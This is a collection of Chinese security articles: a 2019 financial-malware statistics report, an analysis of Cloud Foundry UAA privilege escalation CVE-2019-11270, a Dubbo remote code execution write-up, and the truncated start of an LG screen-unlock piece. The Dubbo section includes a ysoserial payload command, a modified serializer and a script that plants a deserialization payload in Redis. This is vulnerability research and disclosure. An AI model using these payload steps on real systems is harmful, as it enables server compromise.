* 2019年上半年卡巴斯基共阻止了339,000个伪装成银行的钓鱼网站的跳转请求
* 438,709个不同的用户遭遇移动金融威胁攻击 – 比2018年同期减少了23%。
* 移动金融威胁攻击的数量是3,730,378 – 比2018年同期增长107%
## PC威胁：银行木马和钓鱼攻击
在2019年上半年，卡巴斯基共检测到431,088个用户遭到银行木马的攻击（旨在窃取资金和财务数据），比2018年同期（400,830）增长7%。
2018 Q1 – 2019 Q2，遭受攻击的用户数量
2018 Q1 – 2019 Q2，遭受攻击的用户类型的分布
在同一期间，遭受攻击的企业用户的比例达到了30.9%，而在2018年同期，这一数字仅为一半（15.3%）。
此外，研究人员还注意到了2019年恶意文件数量的增长。在第一季度，恶意样本的数量达到了335,000，是2018年同期的一倍还多，但到了第二季度，这一增长趋势变缓了。
2018 Q1 – 2019 Q2，新金融恶意软件样本的数量
攻击频率也在增长：在2019年第一季度和第二季度，攻击次数分别超出了2018年同期的51%和27%。
2018 Q1 – 2019 Q2，金融威胁攻击次数的变化
为了更为全面地分析金融威胁图景，安全专家们编制了2019年第一季度和第二季度最为活跃的银行木马列表，并按受该威胁攻击的用户数量进行排序。其中，39.50%的企业用户遭到RTM木马的攻击，该木马是[去年最为常见的恶意软件样本之一](https://www.kaspersky.com/about/press-releases/2019_rtm-banking-trojan-targeting-businesses-hits-more-than-130000-users-in-2018-and-continues-to-attack)。第二名是[Emotet](https://threats.kaspersky.com/ru/threat/Trojan-Banker.Win32.Emotet/)（14.90%），它可以在受感染的设备上加载其它恶意软件，例如[Trickster](https://threats.kaspersky.com/ru/threat/Trojan.Win32.Trickster/)
木马，它在排名中位列第三。
企业用户
|
个人用户
---|---
Trojan-Banker.Win32.RTM
|
39.50%
|
Trojan-Banker.Win32.Zbot
|
25.50%
Trojan-Banker.Win32.Emotet
|
14.90%
|
Trojan-Banker.Win32.RTM
|
24.50%
Trojan-Banker.Win32.Trickster
|
12.30%
|
Trojan-Banker.Win32.Emotet
|
6.40%
2019年上半年，金融恶意软件Top3
对于个人用户而言情况有些不一样：上述的RTM和Emotet分别只排在了第二（24.5%）和第三（6.4%）。第一名是Zbot，它同样是[2018年最为常见的木马之一](https://securelist.com/financial-cyberthreats-in-2018/89788/)。该恶意软件通常通过钓鱼邮件或钓鱼网站传播。在2019年上半年，卡巴斯基阻止了超过339,000个将用户重定向至伪装成大型银行的钓鱼网站的攻击尝试。
## 地理分布
受金融恶意软件攻击的用户比例最大的十个国家并不具有地缘上的相似性，并且也没有特定的区域性。第一名是中国和白罗斯（2.3%），其次是委内瑞拉（2.2%）和韩国（2.1%）。
国家*
|
%**
---|---
中国
|
2.30
白罗斯
|
2.30
委内瑞拉
|
2.20
韩国
|
2.10
塞尔维亚
|
1.80
希腊
|
1.70
喀麦隆
|
1.60
印度尼西亚
|
1.50
巴基斯坦
|
1.50
俄罗斯
|
1.40
* 排名中不包含卡巴斯基用户数量少于1万的国家.
** 该国家卡巴斯基用户中遭受攻击的比例
遭受金融威胁攻击的用户比例最高的国家Top10
## 移动威胁
在2019年上半年，攻击者积极利用大型金融服务和银行机构的名称来攻击移动用户。共有438,709个不同的用户遭到移动银行木马的攻击。与2018年上半年相比，受攻击的用户数量是569,057，下降了23%。
2018 H1 – 2019 H1，受金融威胁攻击的移动用户数量
在同一时期内，移动平台上的总攻击数量的情况也差不多。
2018 H1 – 2019 H1，移动平台上的金融威胁总攻击数量
在2018年下半年，受攻击的用户数量和检测到的总攻击数量都迅速达到了高峰，共有1,333,410个用户遭到攻击，共检测到10,256,935个攻击。这一迅速增长的原因是银行木马Asacub的活跃以及Svpeng的积极分发。通过卡巴斯基的数据可以看到，与2018
H1相比，2018 H2 Asacub木马的攻击数量近乎增长了1000倍。但到了2019 H1，这一情况变得平静下来。
|
H1 2018
|
h2 2018
|
h1 2019
---|---|---|---
Trojan-Banker.AndroidOS.Asacub.a
|
476
|
431036
|
69704
Trojan-Banker.AndroidOS.Asacub.snt
|
182
|
341726
|
92483
Trojan-Banker.AndroidOS.Asacub.ce
|
0
|
196479
|
34211
Trojan-Banker.AndroidOS.Asacub.ci
|
0
|
194564
|
3101
Trojan-Banker.AndroidOS.Asacub.cg
|
0
|
152011
|
2893
Trojan-Banker.AndroidOS.Svpeng.q
|
84268
|
126316
|
35400
Asacub对整体统计数据的影响可以从下图中清楚地看到。
2018 H1 – 2019 H1，受银行木马Asacub攻击的用户数量
自从2018年上半年以来，卡巴斯基检测到的恶意文件（安装包）的数量一直在下降：2019年上半年下降了43%。与此同时，研究人员检测到攻击数量增长了107%。
2018 H1 – 2019 H1，针对移动平台的恶意文件数量
2019年上半年针对移动平台的恶意软件家族Top5与[2018年的整体排名](https://securelist.com/financial-cyberthreats-in-2018/89788/)近乎一致。
超过一半的用户（51.39%）遭受到了[Asacub](https://www.kaspersky.com/blog/asacub-trojan/11108/)
的威胁，该恶意软件在去年强势增长。在其顶峰阶段，该恶意软件每天攻击的用户数量达到了4万人。这或许与该木马的传播方式有关：当它感染用户的手机时，它会向所有的联系人发送包含恶意软件下载链接的短信。
紧随其后的是Agent家族（16.75%）。这一类代表了无法被归类为特定家族或只有单一样本的木马。
14.91%的用户遭到Svpeng木马的攻击。与大多数银行木马一样，[Svpeng](https://threats.kaspersky.com/en/threat/Trojan-Banker.AndroidOS.Svpeng/)向用户显示一个虚假的登录页面，并拦截用户输入的登录凭据。
银行木马家族
|
%*
---|---
Trojan-Banker.AndroidOS.Asacub
|
51.39
Trojan-Banker.AndroidOS.Agent
|
16.75
Trojan-Banker.AndroidOS.Svpeng
|
14.91
Trojan-Banker.AndroidOS.Faketoken
|
7.56
Trojan-Banker.AndroidOS.Hqwar
|
2.56
* 遭受该银行木马家族攻击的用户比例
2019 H1，银行木马家族Top5
Anubis木马尤为有趣：它拦截用户访问大型金融服务的凭据及双因素认证数据（通过短信发送的验证码）。它是少数通过即时聊天应用（例如WhatsApp）传播的银行木马之一（即通过联系人列表发送恶意链接）。它还是首个将YouTube上的评论作为命令中心的威胁之一：这种工作方式为，攻击者首先在YouTube上上传一个视频，然后添加描述或评论，并在其中隐藏命令，恶意软件将访问此页面并读取描述或评论中的命令然后执行。
由于Youtube是一个公共资源，因此当有人发现受感染设备上的流量访问了YouTube的链接时，即使是安全专家也可能会认为这只是一个正常访问。他们甚至可能意识不到这些请求并不是由用户发出的，而是恶意软件发出的。更有甚者，这种通信是无法屏蔽的，因为可能导致用户无法访问整个YouTube网站。
## 结论和建议
在2019年上半年，遭受金融恶意软件攻击的个人用户数量与2018年同期相比有所增长，但在针对移动平台的犯罪活动方面有所下降。
2019年主要的金融恶意软件家族保持不变：对于移动平台，领头羊是Asacub家族；对于PC而言，则是RTM（针对企业用户）和Zbot（针对个人用户）。
很难说哪个地理区域的金融威胁最为活跃，因为所有地区的威胁水平都差不多。
对于个人用户，卡巴斯基建议：
* 仅从可信来源安装软件 – 例如官方商店
* 检查APP所要求的访问权限 – 如果它们与程序的设计不符，则该行为很可疑
* 不要打开垃圾短信/垃圾邮件中的链接，也不要打开它们的附件
* 使用可靠的安全解决方案，包括在移动设备上也使用它们
对于企业用户，卡巴斯基建议：
* 为员工（尤其是负责会计的员工）进行[网络安全意识培训](https://www.kaspersky.com/enterprise-security/security-awareness)，教他们如何识别网络钓鱼攻击：不要打开附件或点击来自未知或可疑地址的链接
* 为使用的所有软件安装最新的更新和修复补丁
* 禁止安装来自未知来源的程序
* 对于终端检测、事件调查和及时恢复方面，建议实施[卡巴斯基终端检测和响应](https://www.kaspersky.com/enterprise-security/endpoint-detection-response-edr)等EDR解决方案。它们甚至可以捕获未知的银行恶意软件
* 将[威胁情报](https://www.kaspersky.com/enterprise-security/threat-intelligence)集成到您的SIEM和安全控制中，以便访问最具相关性和最新的威胁数据 | 社区文章 |
# CVE-2019-11270：Cloud Foundry UAA中的提权漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 twistlock，文章来源：twistlock.com
原文地址：<https://www.twistlock.com/labs-blog/privilege-escalation-in-cloud-foundry-uaa-cve-2019-11270/>
译文仅供参考，具体内容表达以及含义原文为准。
4月份，我向`Cloud Foundry`安全团队披露了[Cloud Foundry
UAA](https://docs.cloudfoundry.org/concepts/architecture/uaa.html)（User
Account and Authentication
Server,用户帐户和身份验证服务器）中的两个漏洞，该团队为他们分配了`CVE-2019-11268`和`CVE-2019-11270`。在[上一篇文章中](https://www.twistlock.com/labs-blog/cloud-foundry-uaa-cve-2019-11268-identity-zones-sql-vulnerability/)，我讨论了CVE-2019-11268，一种SQL注入漏洞，允许在UAA身份区域内进行信息泄露。
直到上周（19年8月1日）当CF公开发表并发布补丁版本- [UAA
v73.7](https://github.com/cloudfoundry/uaa/releases/tag/v73.7.0)时，我才能谈论有关CVE-2019-11270的内容。CVE-2019-11270是UAA实现`clients.write`作用域（scopes，即权限）的高危提权漏洞。拥有易受攻击作用域的恶意客户端可以创建具有任意作用域的新客户端，并获得对UAA服务器及其管理的应用程序的完全控制权（例如CF部署）。
如果您将UAA用作独立的Oauth2服务器或在CF部署中，强烈建议您阅读最后的“我是否受到影响？”部分。它包含识别您的环境中是否利用了漏洞的简单命令。
## 0x01 基础知识
### UAA
`Cloud Foundry
UAA`（用户帐户和身份验证）是一个提供身份管理和访问控制的`Oauth2`服务器。它可以在包括CF部署之外的任何环境中用作Oauth2服务器。
在我[之前的文章](https://www.twistlock.com/labs-blog/cloud-foundry-uaa-cve-2019-11268-identity-zones-sql-vulnerability/)中，涉及了UAA的部分概念，如访问令牌(access
tokens)，客户端(clients)和作用域(scopes)。让我们通过插图重新理解它们，因为理解它们是理解Oauth2授权流程和漏洞的关键。
### oauth2
UAA服务器实现了广泛使用的Oauth2授权协议。大多数人可能都使用过基于Oauth的授权，例如在使用Facebook帐户注册eBay等网站时，并授权网站获得对该帐户的一些权限，例如阅读您的电子邮件地址或代表您发布信息。
简化一点，Oauth2授权流程通常包括以下步骤：
让我们回顾一下上图：
### 资源服务器和访问令牌(Resource Servers and Access tokens)
资源服务器被定义为承认UAA发布的访问令牌的任何实体， **允许UAA对其资源的访问**
。资源服务器可以是数据库、API端点、甚至是Oauth2服务器本身。
**访问令牌** 允许对其中编码的作用域（基本上是权限）进行访问。 **作用域**
是资源服务器可以决定附加含义的任意字符串。例如，数据库应用可以决定是否允许任何带有`db.read`作用域的访问令牌的客户端从中读取数据，而其他应用程序可能不会对该作用域附加任何含义。
### 客户端和用户(Clients and Users)
客户表示需要访问由UAA管理的资源服务器的应用。客户端有两组权限（permissions）-作用域（scopes）和权限（authorities）。
用户通常代表一个人。用户具有 **组成员**
身份的权限，例如，一个`db.read`组成员的用户就拥有`db.read`赋予的权限。用户不能直接以他们的权限进行操作，只能授权客户端代替他们执行相应的操作。
### UAA访问令牌授权
UAA服务器以认证的形式向客户端授予访问令牌。在两种情况下授予令牌：
> 1.当客户端代表用户执行相应的操作时（类似于上文提到的Facebook示例）。
>
> 这里，访问令牌授权客户端根据客户端作用域与用户组成员权限的交集（例如，具有db.read作用域的客户端和作为db.read组成员的用户）进行操作。用户还可以选择批准或拒绝客户端请求的作用域。
> 2.当客户端自己行动时。访问令牌授权客户端根据客户端的权限执行操作。
在这两种情况下，客户端都可以将授予的访问令牌提交给资源服务器，并根据令牌中编码的作用域进行操作。
如上所述，根据一组称为 **authorities**
的权限，一些客户端可以自行行动而无需用户的批准。这对于与用户无关的资源非常有用。在Facebook的例子中，eBay可以拥有’advertise.put’权限，允许它将广告推送到Facebook或其他受其约束的网站。
### UAA管理作用域
根据“UAA作用域（[UAA
scopes](https://docs.cloudfoundry.org/concepts/architecture/uaa.html#uaa-scopes)）”所述，某些作用域允许管理UAA服务器。例如，在具有“groups.update”权限的客户端对UAA服务器进行身份验证并接收访问令牌之后，他可以将该访问令牌呈现给UAA，然后修改现有的UAA组。在UAA管理作用域的情况下，UAA也扮演资源服务器的角色。
以上是Oauth2和UAA的背景知识，现在进入漏洞的细节部分。
## 0x02 CVE-2019-11270 – 通过clients.write作用域提权
`clients.write`是UAA管理作用域之一，是`clients.admin`的一个狭义的版本。与clients.admin一样，clients.write允许创建和修改客户端，但对创建的客户端多了一些限制。’clients.write’的[相关文档](https://docs.cloudfoundry.org/concepts/architecture/uaa.html#uaa-scopes)介绍如下：
>
> “此作用域是创建和修改客户端所必需的。作用域以作用域持有者的客户端ID为前缀。例如，`id：testclient，authority：client.write`允许创建具有`testclient.`前缀的作用域的客户端。授权仅限于`uaa.resource`。“
因此，只允许创建具有以创建客户端的id为前缀的作用域的客户端。例如，id为`app123`且authority为`clients.write`的客户端只能注册带有前缀为app123的作用域的新客户端。（例如app123.read或app123.admin）。
这些限制的目的在于拒绝客户端使用clients.write作用域创建具有特权UAA管理作用域的客户端（例如uaa.admin）并提权。
### ‘Client.write’使用示例
`clients.write`作用域用于管理资源服务器。为了管理数据库应用程序，UAA管理员可以创建一个id为`db`的客户端，并为其提供clients.write权限。”db”客户端现在可以创建新客户端并为它们提供前缀为db的作用域。比如db.read，db.create或db.admin。“db”客户端实际上是数据库应用程序的管理客户端，可以创建对应用程序具有细粒度权限的其他客户端。
由于创建的客户端只能注册作用域而不是权限，因此它们都需要用户对其进行授权才能接收访问令牌（如上面“访问令牌授权”中所提到的）。在生产环境中，可以为“db”客户端提供scim.write和scim.read权限，这样他就能够创建具有适当组成员身份的用户（例如db.read），以便可以授权新客户端。
### 漏洞
检查强制执行上述限制的UAA代码，特别是`ClientAdminEndpointValidator`的[验证函数](https://github.com/cloudfoundry/uaa/blob/a7012a7c57ec2a6c26f4cc23febf573a96aff52d/server/src/main/java/org/cloudfoundry/identity/uaa/client/ClientAdminEndpointsValidator.java#L175)，似乎client.write作用域
**没有按照文档实现** ：
在上面的代码中，`caller`指的是用于创建的客户端（即拥有clients.write作用域的客户端），`client`指的是被创建的客户端。
可以看到，除了允许以创建客户端ID为前缀的作用域（如文档所示）之外，该函数还允许以被创建的客户端ID为前缀的作用域。此实现缺陷允许创建者创建具有任意作用域的客户端（因为其可以控制创建的客户端ID）。
例如，具有clients.write权限的恶意客户端可以创建一个id为”zones”的客户端，因此可以使用带有”zones”前缀的任何作用域，例如zones.uaa.admin，这是一个可以实现UAA服务器完全管理控制的作用域。
作为旁注，在第182行，您可以看到创建客户端也可以分配他自己的任何作用域。这是有道理的，因为创建客户端已经具有这些作用域了，因此将它们提供给新客户端并没有提权的风险。
### 漏洞利用
如前所述，客户端需要得到具有匹配组成员资格的用户授权才能对其作用域采取行动。例如，利用此漏洞创建具有id：’zones’和作用域：zones.write的客户端的攻击者,需要zones.write组成员的用户授权这个新的“zones”客户端。
如果该攻击者控制了这样的用户，则攻击变得很容易。如果攻击者具有`scim`特权，即scim.write和scim.read,将允许他创建所需的用户，攻击也会很容易实现。
[这个视频](https://www.twistlock.com/wp-content/uploads/2019/02/uaa_blog_clients_write_scim_exploit.mp4?_=1)演示了此攻击，其中“evil”客户端利用此漏洞获取具有clients.admin作用域的访问令牌，从而获得对UAA服务器的完全控制权。
这是攻击的最理想情况，除了具有易受攻击的clients.write作用域之外，他还可以访问能授权使用此漏洞创建的客户端的用户。
让我们稍微限制一下攻击者，如果仅有存在漏洞的作用域，攻击者能做什么呢？在这种情况下，漏洞是否还能不能发挥作用？
### 自动批准的作用域
对于受限的攻击者，clients.write作用域还允许使用UAA的自动批准功能，这听起来很愚蠢。通常，当用户授权客户代表他行事时，会向他提供批准或拒绝客户端作用域请求的选项。
如上图所示，用户选择仅批准database.read作用域。
如果客户的其中一个作用域设置为自动批准，则会在用户不知情或未经用户同意的情况下自动授权。例如，在上图中，database.admin作用域自动获得批准，可以看到用户对此没有任何指示。
### 自动批准漏洞利用
如前所述，clients.write作用域允许将创建的客户端的作用域设置为自动批准。让我们看看攻击者如何利用此功能在模拟真实生产环境的场景中完全控制CF部署。
在之前的漏洞利用视频中，攻击者可以使用clients.write权限以客户端的形式访问clients.write作用域。对于这种情况，攻击者可以利用经典的Oauth2用户-客户端对的形式访问clients.write作用于：
> ‘twist’用户是clients.write作用域的成员
> 具有clients.write作用域的’evil’客户端，以及some.arbitrary作用域（下文将进行解释）
以下是生产环境的其他参与者：
> ‘some-fake’应用程序 – 一种资源服务器，它信任UAA访问令牌以管理对其资源的访问。它要求令牌包含some.arbitrary作用域
> “victim”用户 – some.arbitrary和cloud_controller.admin组的成员。
“victim”用户经常批准“evil”客户端使用some.arbitrary作用域并代表他访问“some-fake”应用程序。
攻击者的目标是利用此漏洞将“cloud_controller.admin”作用域添加到“evil”客户端并将其设置为自动批准。
### 攻击
如果不确定攻击者是如何设法执行以下某个步骤的，那么您可以在“漏洞”一节中获得一些说明。
>
> 1.为了开始攻击，攻击者使用’twist’用户和’evil’客户端来获取具有易受攻击的clients.write作用域的访问令牌。然后，他利用此漏洞创建名为“cloud_contoller”的客户端，并为其提供cloud_contoller.admin作用域。
>
攻击者还为’cloud_contoller’客户端提供所有邪恶evil的作用域。
>
> 2.接下来，攻击者使用’twist’用户和’cloud_contoller’客户端来修改’evil’客户端以获得cloud_controller.admin作用域，并将其设置为自动批准。
>
> 3.在下一次’victim’授权’evil’客户端使用some.arbitrary作用域时，cloud_controller.admin作用域将在未经受害者同意的情况下自动获得批准（！）：
此攻击在[这一视频](https://www.twistlock.com/wp-content/uploads/2019/02/uaa_blog_clients_write_autoapprove_exploit.mp4?_=2)中成功执行。
执行攻击后，’evil’客户端对cloud_controller具有管理控制权，这意味着可以完全控制CF部署。
在视频中，我使用了`uaac`，一个用于UAA服务器的`CLI`。在真实的攻击场景中，“evil”客户端可能会有一个Web界面，“victim”用户将被重定向到UAA身份验证和授权页面。 | 社区文章 |
## Dubbo多个远程代码执行漏洞
马上年底了，发现年初定的几个漏洞的KPI还没来得及完成，趁着最近有空赶紧突击一波，之前业务部门被爆过Dubbo的漏洞，干脆就把Dubbo拖过来挖一把。之前没用过Dubbo，既然要挖它就先大体了解了一下，毕竟know
it and then hack
it。Dubbo是个基于Java的RPC框架，可以实现Java过程的远程调用。话不多说，先本地搞个Demo跑起来看看，Dubbo版本就采用最新的2.7.8。
### 本地Demo
先从Git地址<https://github.com/apache/dubbo-samples>
上下载示例项目，里面有几十个示例，我们随意选取一个dubbo-samples-http，后续以该示例为基础进行Demo开发与漏洞调试。此处示例项目的导入、基本配置、启动、运行步骤不再赘述。
#### 创建Provider
Provider可以理解为服务端，我们创建如下Provider：
public interface DemoService {
String sayHello(String name);
}
public class DemoServiceImpl implements DemoService {
@Override
public String sayHello(String name) {
System.out.println("[" + new SimpleDateFormat("HH:mm:ss").format(new Date()) + "] Hello " + name + ", request from consumer: " + RpcContext.getContext().getRemoteAddress());
return "Hello " + name + ", response from provider: " + RpcContext.getContext().getLocalAddress();
}
}
该Provider只提供了一个sayHello方法，该方法接受一个string类型参数，启动Provider，如下图：
#### 创建Consumer
Consumer可以理解为客户端，我们创建如下Consumer：
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
DemoService demoService = (DemoService) context.getBean("demoService");
System.out.println(demoService.sayHello("rebeyond"));
}
运行Consumer，如下图：
Provider的输出：
可以看到Consumer成功调用了Provider端提供的sayhello方法，Demo运行成功。
### 历史漏洞
Demo搭建好以后我们对dubbo的大体工作流程就有了一个比较完整的轮廓了，接下来就是思考攻击面，简单头脑风暴了一下想到了几个关键词：RPC、反射、反序列化、远程代码执行、攻击客户端、攻击服务端。以史为镜
_，_ 可以知兴替，头脑风暴之后，我们简单看下Dubbo之前爆过的几个高危漏洞，。
#### CVE-2019-17564
先来看一下漏洞描述：“Apache Dubbo支持多种协议，官方默认为 Dubbo 协议。当用户选择http协议进行通信时，Apache Dubbo
将接受来自消费者远程调用的POST请求并执行一个反序列化的操作。由于此步骤没有任何安全校验，因此可以造成反序列化执行任意代码。”
通过描述可以看出，这是一个简单粗暴的反序列化漏洞，当客户端和服务端的通信采用http协议时，服务端直接对POST过来的二进制数据流进行Java原生反序列化，因此可以根据项目依赖的一些第三方库来构造Gadgets实现RCE。
这个漏洞的修复方案也是比较简单直接，直接把POST请求体的handler由“Java原生反序列化”改为“JsonRpcServer”。
#### CVE-2020-1948
漏洞描述：“Dubbo 2.7.6或更低版本采用的默认反序列化方式存在代码执行漏洞，当 Dubbo
服务端暴露时(默认端口：20880)，攻击者可以发送未经验证的服务名或方法名的RPC请求，同时配合附加恶意的参数负载。当恶意参数被反序列化时，它将执行恶意代码。经验证该反序列化漏洞需要服务端存在可以被利用的第三方库，而研究发现极大多数开发者都会使用的某些第三方库存在能够利用的攻击链，攻击者可以利用它们直接对
Dubbo 服务端进行恶意代码执行，影响广泛。”
可以看到，这也是一个反序列化漏洞。这个漏洞的修复方案主要是增加了一个getInvocationWithoutData方法，对恶意的inv对象进行了一个置空操作：
了解完上面这两个已知漏洞，接下来我们就开始挖新洞了：）
### Dubbo Redis协议远程代码执行漏洞
上文提到，Apache Dubbo支持多种协议，列表如下：
不同的协议是不同的入口分支，我们选择redis协议跟一下，首先改造一下我们的Demo，改成redis协议的版本，Provider做如下修改，根据官网的文档，我们增加get和set方法：
public interface DemoService {
String sayHello(String name);
String get(String key);
String set(String key,Object value);
}
public class HttpProvider {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-provider.xml");
context.start();
System.out.println("dubbo service started");
RegistryFactory registryFactory = ExtensionLoader.getExtensionLoader(RegistryFactory.class).getAdaptiveExtension();
Registry registry = registryFactory.getRegistry(URL.valueOf("zookeeper://121.37.161.179:2181"));
registry.register(URL.valueOf("redis://192.168.176.2/org.apache.dubbo.samples.http.api.DemoService?category=providers&dynamic=true&application=http-provider&group=member&loadbalance=consistenthash"));
new CountDownLatch(1).await();
}
}
Consumer做如下修改：
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
DemoService demoService = (DemoService) context.getBean("demoService");
String result = demoService.get("rebeyond");
}
}
程序执行流程为：Consumer向Provider请求demoService的引用，这个引用其实就是个redis服务，然后执行demoService的get方法去redis里面取数据。
定位到redis协议的实现代码org.apache.dubbo.rpc.protocol.redis.RedisProtocol，如下：
可以看到红框里面在处理set方法时，没有像memcached那样调用原生jedis
client的get方法，而是将key的内容作为字节流的形式读取出来并进行了反序列化处理。不过这里负责反序列化的是ObjectInput接口，由于这个接口的实现类比较多，要实际看一下具体是哪个实现类执行的反序列化操作，下断点跟进去看一下：
可以看到oin的类型是JavaObjectInput，JavaObjectInput是dubbo对Java原生ObjectInputStream的一个简单封装，继续跟进oin.readObject：
直接调用了java.io.ObjectInputStream中的readObject方法来反序列化，没有任何过滤。不过这里要注意一下，我们在构造payload的时候，需要绕过下面这个小坑：
byte b = getObjectInputStream().readByte();
if (b == 0) {
return null;
}
后面我们在构造payload的时候，需要在恶意反序列化对象的字节码之前先放一个字节的0数据，才能绕过上面这个校验。
接下来就是构造payload，我在复现历史漏洞的时候看到CVE-2019-17564中利用的是CommonCollections
4.0的Gadgets，我们也采用这个链来构造Poc，在生成Poc之前，为了使Poc绕过前面那个坑，需要先对ysoserial.jar做一个简单的改造，如下：
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeByte(1); //add this line to control the execution flow to subsequent deserialization in dubbo
objOut.writeObject(obj);
}
重新构建ysoserial.jar后执行如下命令生成payload：
java8 -jar ysoserial.jar CommonsCollections4 "open
/System/Applications/Calculator.app"
把payload写入redis：
#!/bin/python
#coding=utf-8
import redis,binascii
r = redis.StrictRedis(host='192.168.176.2', port=6379, db=0)
payload=open('/tmp/payload','rb').read()
print binascii.b2a_hex(payload)
r.set('rebeyond', payload)
运行Consumer，payload成功执行：
根据官网文档可知，dubbo不提供redis协议服务的导出，只提供redis协议服务的引用，因此这个漏洞的攻击场景主要用于内网横向移动，当控制了内网一台redis后，批量获取dubbo
client主机的权限。
### Dubbo callback远程代码执行漏洞
打完client不够过瘾，接下来继续打server。
Dubbo推荐的默认通信协议是dubbo协议，下面我们就分析下dubbo协议的入口处理类DubboProtocol，经过一波我注意到如下代码：
这段代码有两个问题，第一个问题在于logger.warn，我们先看另外一处调用logger.warn的代码：
可以看到，Dubbo在其他地方调用logger.warn的时候都会事先通过isWarnEnabled函数判断下有没有开启log，但是137行这里没有判断，直接无条件执行了logger.warn。
第二个问题在于，这里的inv对象没有通过getInvocationWithoutData方法进行清洗。这两个问题构成了一个漏洞前提，前提有了，下面的问题是怎么控制程序走到这个分支里面。
从上图代码可以看出核心的分支控制点在于inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值，只有当inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值为true的时候，才能执行进入这个问题分支。根据CallBack这个关键词，我了解了一下Dubbo执行回调机制，也就是说Consumer在远程调用Provider的方法时，也可以让Provider回过来调用Consumer的方法，这个过程就是回调。我对Demo重新改造一下，做了个callback的版本，Provider侧如下：
public interface CallbackService {
/**
* 这个 索引为1的是callback类型。
* dubbo 将基于长连接生成反向代理，就可以在服务端调用客户端逻辑
* @param key
* @param listener
*/
void addListener(String key, CallbackListener listener);
}
public class CallbackServiceImpl implements CallbackService {
private final Map<String, CallbackListener> listeners;
public CallbackServiceImpl() {
listeners = new ConcurrentHashMap<>();
Thread t = new Thread(() -> {
while (true) {
try {
for (Map.Entry<String, CallbackListener> entry : listeners.entrySet()) {
try {
entry.getValue().changed(getChanged(entry.getKey()));
} catch (Throwable t1) {
listeners.remove(entry.getKey());
}
}
Thread.sleep(5000); // timely trigger change event
} catch (Throwable t1) {
t1.printStackTrace();
}
}
});
t.setDaemon(true);
t.start();
}
@Override
public void addListener(String key, CallbackListener listener) {
listeners.put(key, listener);
listener.changed(getChanged(key)); // send notification for change
}
private String getChanged(String key) {
return "Changed: " + new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
}
}
Consumer侧：
public class HttpConsumer {
public static void main(String[] args) throws Exception {
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("spring/http-consumer.xml");
context.start();
CallbackService callbackService = context.getBean("callbackService", CallbackService.class);
// 增加listener
callbackService.addListener("foo.bar", new CallBackDemo());
}
static class CallBackDemo implements CallbackListener {
@Override
public void changed(String msg) {
System.out.println("I am callback:" + msg);
}
}
}
Demo运行结果如下，Provider成功回调了Consumer的changed方法：
因为Dubbo的Provider和Consumer共用同一套Dubbo的代码，在问题代码处打断点，然后同时运行Provider和Consumer，果然不出意外，Provider没有断下来，Consumer断下来了：
由此可知这个漏洞分支只有机会在Consumer侧执行，这个也是意料之中，对Dubbo来说，Consumer调用Provider是正常调用，Provider反过来调用Consumer才叫“回调”，因此Dubbo的流程只存在Provider回调Consumer，不存在Consumer回调Provider。但是我们的目标是Provider，所以需要让Provider把某个正常调用强制作为“回调”。如何判断一个请求是“正调”还是“回调”？前文已经提到，就是inv.getObjectAttachments().get(IS_CALLBACK_SERVICE_INVOKE)的值为true的时候，即attachments中的_isCallBackServiceInvoke值为true的时候。
接下来的目标就是要在Provider侧寻找一个分支，可以改写inv的attachments，尝试在源码中寻找如下调用点：
找了一圈没发现key和value同时可控的点，暂时陷入僵局，准备从其他思路突破，再次运行一下callback的Demo并抓包：
上面的数据流，红色是Consumer发给Provider的，蓝色是Provider返回给Consumer的。当我看到sys_callback_arg-1字样的时候，顿时豁然开朗了，之前客户端的断点中，attachments中有一个key就是sys_callback_arg-1，也就是说，attachments是用户可控的，经过一波分析，最终定位到Provider侧的如下代码段：
赶紧模拟客户端，在上面那个数据包的基础上，往里塞一个键值对："_isCallBackServiceInvoke"："true"，在Provider侧上图红框处打上断点，成功断了下来：
F8步过，可以看到"_isCallBackServiceInvoke"："true"被成功注入：
第一个分支搞定以后，我们再看一下这段代码：
还需要搞定一个分支，那就是hasMethod的值必须是false。
但是这里methodStr和inv.getMethodName()都是addListener，这里的methodStr是Provider根据Consumer请求体中指定的接口名称来反射获取的，而inv.getMethodName()的值是用户可控的，这两部分如下：
尝试将第一个红框的方法名随意改一下，结果发现在请求体decode的时候就报方法不存在的异常，根本走不到构建attachments的流程。这时候只有一个方法，那就是第一个红框中的接口名和方法名同时修改成一个classpath中确实存在的值，并且这个方法还必须要接受一个Object类型的参数方便后续通过参数注入恶意对象，很自然想到我们可以用Dubbo自带的几个默认Service，比如EchoService，这个服务的$echo方法刚好接收一个Object类型参数：
这样最终methodStr和inv.getMethodName()就分别是addListener和$echo，hasMethod自然为false，成功进入我们想要的漏洞分支：
接下来就是构造inv对象了，参考CVE-2020-1948，这里我们也采用com.sun.rowset.JdbcRowSetImpl和ToStringBean来构造Gadgets，
最终成功执行Payload：
### 小结
这篇文章主要是给大家分享一下自己的挖洞思路，由于时间很仓促，上文中的一些理解可能存在错误，如有不当之处，希望各位斧正。
### 参考链接
1.<http://dubbo.apache.org/docs/v2.7/user/references/protocol/>
2.<https://paper.seebug.org/1264/>
3.<https://www.cnblogs.com/wh4am1/p/12307848.html> | 社区文章 |
# 【技术分享】使用AT调制解调器命令解锁LG Android屏幕
|
##### 译文声明
本文是翻译文章，文章来源：articles.forensicfocus.com
原文地址：<https://articles.forensicfocus.com/2017/02/03/unlocking-the-screen-of-an-lg-android-smartphone-with-at-modem-commands/>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[胖胖秦](http://bobao.360.cn/member/contribute?uid=353915284)
预估稿费：100RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
现代智能手机不仅仅是用于语音呼叫的设备。现在，他们包含了大量的个人数据 –
